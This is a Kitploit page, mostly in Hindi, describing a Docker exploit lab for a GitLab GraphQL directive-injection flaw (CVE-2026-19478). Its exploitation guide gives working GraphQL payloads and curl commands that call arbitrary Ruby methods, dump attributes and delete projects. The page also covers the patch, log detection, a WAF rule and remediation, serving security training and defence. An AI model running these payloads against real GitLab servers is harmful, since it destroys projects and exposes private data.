Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Gitlab-CVE-2026-19478 — डॉकराइज़्ड एक्सप्लॉइट लैब और स्क्रिप्ट CVE-2026-19478 के लिए, जो एक गंभीर बिना प्रमाणीकरण वाला GitLab GraphQL कोड इंजेक्शन है जो मनमाने Ruby मेथड कॉल्स, प्रोजेक्ट विलोपन और डेटा एक्सफिल्ट्रेशन को सक्षम बनाता है। | Kitploit
उपकरण/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणएपीआई सुरक्षा परीक्षणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

डॉकराइज़्ड एक्सप्लॉइट लैब और स्क्रिप्ट CVE-2026-19478 के लिए, जो एक गंभीर बिना प्रमाणीकरण वाला GitLab GraphQL कोड इंजेक्शन है जो मनमाने Ruby मेथड कॉल्स, प्रोजेक्ट विलोपन और डेटा एक्सफिल्ट्रेशन को सक्षम बनाता है।

रिपॉजिटरी देखें
2 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-19478 — GitLab GraphQL @gl_introduced Directive Injection

अनधिकृत रिमोट कोड इंजेक्शन GitLab CE/EE में GraphQL Directive के माध्यम से — एक Single HTTP Request से किसी भी Public Project को Delete करें

एक व्यावहारिक पेनिट्रेशन टेस्टिंग लैब जो CVE-2026-19478 को दोहराती है, जो GitLab के GraphQL API में एक गंभीर (CVSS 9.4) कमजोरी है। @gl_introduced directive अनधिकृत हमलावरों को सर्वर-साइड ऑब्जेक्ट्स पर मनमाने Ruby तरीकों को निष्पादित करने की अनुमति देता है — जिसमें प्रोजेक्ट विलोपन, डेटा निकासी और स्वामित्व हस्तांतरण शामिल है — बिना किसी प्रमाणीकरण के।

यह लैब व्यावहारिक शोषण अभ्यास के लिए Docker में एक वास्तविक कमजोर GitLab CE 19.2.0 इंस्टेंस चलाता है।

विषय-सूची

  • Vulnerability Summary
  • How the Exploit Works
  • Attack Flow Diagram
  • Lab Setup
  • Exploitation Guide
  • Exploit Script Usage
  • Detection and Indicators of Compromise
  • Remediation
  • References
  • Disclaimer
  • Connect With Us

Vulnerability Summary

टूल डाउनलोड करें
फ़ील्डमान
CVE IDCVE-2026-19478
CVSS Score9.4 (Critical)
ProductGitLab Community Edition (CE) / Enterprise Edition (EE)
Vulnerability TypeCode Injection / Arbitrary Method Execution (CWE-94)
Attack VectorNetwork (Remote)
AuthenticationNone required
User InteractionNone
Attack ComplexityLow
Affected Versions18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Patched Versions18.11.11, 19.0.8, 19.1.6, 19.2.4
Discovered Byhiimguardian (via HackerOne)
Patch DateAugust 17, 2026

Impact

एक अनधिकृत रिमोट हमलावर यह कर सकता है:

  • किसी भी सार्वजनिक प्रोजेक्ट को स्थायी रूप से Delete कर सकता है
  • आंतरिक डेटा, एडमिन टोकन और रहस्यों को Exfiltrate कर सकता है
  • प्रोजेक्ट की दृश्यता, स्वामित्व और सेटिंग्स को Modify कर सकता है
  • सर्वर-साइड Project मॉडल पर मनमाने Ruby तरीकों को Execute कर सकता है
  • बिना प्राधिकरण के प्रोजेक्ट को Archive या transfer कर सकता है

How the Exploit Works

The @gl_introduced Directive

GitLab रोलिंग डिप्लॉयमेंट का समर्थन करने के लिए एक कस्टम GraphQL directive @gl_introduced(version: "X.Y") का उपयोग करता है। जब एक नया GitLab संस्करण GraphQL API में एक फ़ील्ड जोड़ता है, पुराने इंस्टेंस उन नए फ़ील्ड्स का संदर्भ देने वाले क्वेरीज़ को त्रुटि देने के बजाय null लौटाकर सुचारू रूप से संभालते हैं।

The Vulnerable Code Path

फ़ाइल: lib/gitlab/graphql/version_filter/future_field_fallback.rb (पंक्तियाँ 14-36)

चरण-दर-चरण विवरण:

  1. FutureFieldFilter आने वाले GraphQL क्वेरीज़ को स्कैन करता है। जब किसी फ़ील्ड में वर्तमान सर्वर से नया संस्करण के साथ @gl_introduced(version) होता है, तो यह फ़ील्ड को हटा देता है और context[:contain_future_fields] = true सेट करता है।

  2. IntroducedTracer निष्पादन के समय मूल क्वेरी दस्तावेज़ को पुनर्स्थापित करता है, हटाए गए फ़ील्ड्स को AST में वापस रखता है।

  3. FutureFieldFallback#get_field निष्पादन के दौरान हर फ़ील्ड लुकअप को रोकता है। यह तीन स्थितियों की जाँच करता है:

    • क्या contain_future_fields फ़्लैग सेट है? ✅
    • क्या फ़ील्ड स्कीमा से अनुपस्थित है? ✅
    • क्या नाम __ से शुरू नहीं होता है? ✅
    • क्या फ़ील्ड का नाम सुरक्षित है? ❌ कोई जाँच मौजूद नहीं है!
  4. जब तीनों जाँचें पास हो जाती हैं, तो यह बिना किसी रिज़ॉल्वर क्लास के एक नया GraphQL::Schema::Field संश्लेषित करता है।

  5. graphql-ruby में, रिज़ॉल्वर के बिना एक फ़ील्ड अंतर्निहित Ruby ऑब्जेक्ट पर object.public_send(field_name) कॉल करके हल होती है — हमलावर के फ़ील्ड नाम को Project ActiveRecord मॉडल पर एक मनमाने विधि कॉल में परिवर्तित कर देती है।

The Fix (19.2.4+)

GitLab का पैच अंतर्निहित विधि डिस्पैच को एक स्पष्ट NilResolver से बदल देता है जो बिना शर्त nil लौटाता है, रोलिंग-डिप्लॉय संगतता को संरक्षित करते हुए मनमाने विधि निष्पादन को समाप्त करता है:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Attack Flow Diagram

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Lab Setup

Prerequisites

  • Docker और Docker Compose स्थापित हों
  • Docker के लिए न्यूनतम 4 GB RAM उपलब्ध हो (GitLab संसाधन-भारी है)
  • Python 3 (exploit script के लिए)
  • API परीक्षण के लिए वेब ब्राउज़र या curl / httpie

Quick Start — Real GitLab CE 19.2.0 (Vulnerable)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Access Points

सेवाURLक्रेडेंशियल्स
GitLab Web UIhttp://localhostroot / P@ssw0rd123!
GraphQL APIhttp://localhost/api/graphqlNone required
GraphQL Explorerhttp://localhost/-/graphql-explorerLogin required
SSHlocalhost:2222—

Lightweight Alternative (Simulated)

सीमित संसाधनों वाली मशीनों या तेज़ स्टार्टअप के लिए:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Stop / Full Reset

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Exploitation Guide

Level 1 — Reconnaissance (Unauthenticated)

सर्वर संस्करण जाँचें:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

GraphQL के माध्यम से सार्वजनिक प्रोजेक्ट्स की सूची बनाएं (बिना प्रमाणीकरण):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Schema introspection के माध्यम से @gl_introduced directive खोजें:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Level 2 — Vulnerability को ट्रिगर करें

स्कीमा में मौजूद नहीं होने वाले फ़ील्ड पर भविष्य के संस्करण के साथ @gl_introduced का उपयोग करें:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

यदि कमजोर है, तो class Ruby क्लास का नाम ("Project") लौटाता है, जो मनमाने विधि डिस्पैच की पुष्टि करता है।

Level 3 — Data Exfiltration

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Level 4 — Destructive Exploitation

चेतावनी: निम्नलिखित प्रोजेक्ट को स्थायी रूप से हटा देगा।

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

GitLab के Project मॉडल पर अन्य शोषणीय तरीके:

MethodImpact
destroyप्रोजेक्ट को स्थायी रूप से हटाता है
archiveप्रोजेक्ट को संग्रहीत करता है
transferप्रोजेक्ट स्वामित्व स्थानांतरित करता है
attributesसभी डेटाबेस विशेषताओं को डंप करता है
repositoryरिपॉज़िटरी ऑब्जेक्ट तक पहुँचता है
membersप्रोजेक्ट सदस्यों की सूची बनाता है

curl Examples

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Detection and Indicators of Compromise

Log Analysis

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Indicators of Compromise (IOC)

संकेतकविवरण
@gl_introduced(version: "99.0")अवास्तविक रूप से उच्च संस्करण के साथ शोषण का प्रयास
फ़ील्ड नाम: destroy, delete, update, transferविनाशकारी ActiveRecord तरीकों को लक्षित करना
अप्रत्याशित प्रोजेक्ट विलोपनएडमिन कार्रवाई के बिना प्रोजेक्ट गायब होना
दृश्यता परिवर्तनसार्वजनिक प्रोजेक्ट अचानक निजी हो जाना
स्वामित्व हस्तांतरणअज्ञात उपयोगकर्ताओं को प्रोजेक्ट स्थानांतरित होना

WAF Rules

उच्च संस्करण संख्याओं वाले @gl_introduced युक्त GraphQL अनुरोधों को ब्लॉक करें:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Remediation

  1. तुरंत पैच करें — GitLab 18.11.11+, 19.0.8+, 19.1.6+, या 19.2.4+ में अपडेट करें
  2. WAF शमन — रिवर्स प्रॉक्सी/WAF स्तर पर उच्च संस्करण स्ट्रिंग वाले @gl_introduced युक्त GraphQL अनुरोधों को ब्लॉक करें
  3. ऑडिट लॉग — अनधिकृत संशोधनों, विलोपन या दृश्यता परिवर्तनों के लिए प्रोजेक्ट गतिविधि लॉग की समीक्षा करें
  4. एक्सेस लॉग — शोषण पैटर्न के लिए वेब सर्वर लॉग खोजें (ऊपर Detection अनुभाग देखें)
  5. Incident response — यदि शोषण की पुष्टि होती है, तो डेटा निकासी की जाँच करें और बैकअप से हटाए गए प्रोजेक्ट्स को पुनर्स्थापित करें


Poc credits

CVE-2026-19478

References

  • GitLab Security Advisory — August 17, 2026
  • OWASP A03:2021 — Injection
  • CWE-94: Improper Control of Generation of Code (Code Injection)
  • OX Security: GitLab GraphQL CVEs Analysis
  • Help Net Security: Critical GitLab Flaw
  • CyCognito: Emerging Threat Advisory
  • The Hacker News: Critical GitLab GraphQL Flaw

Disclaimer

यह लैब विशेष रूप से अधिकृत सुरक्षा शिक्षा और पेनिट्रेशन टेस्टिंग प्रशिक्षण के लिए बनाई गई है। इसका उपयोग केवल नियंत्रित, पृथक वातावरण में किया जाना चाहिए जो आपके स्वामित्व में हो या जिसके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण हो।

बिना उचित प्राधिकरण के किसी भी सिस्टम के खिलाफ इस लैब की तकनीकों, उपकरणों या शोषण कोड का उपयोग न करें। कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (CFAA) और दुनिया भर के समकक्ष कानूनों के तहत अवैध है।

लेखक और योगदानकर्ता इस लैब या इसकी सामग्री के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।


Connect With Us

Follow on Instagram   Connect on LinkedIn

दैनिक साइबर सुरक्षा युक्तियों, CVE विश्लेषण और शोषण वॉकथ्रू के लिए Instagram पर @pwnsystem को फॉलो करें।
पेशेवर सुरक्षा अंतर्दृष्टि और लैब अपडेट के लिए Punit Darji से LinkedIn पर जुड़ें।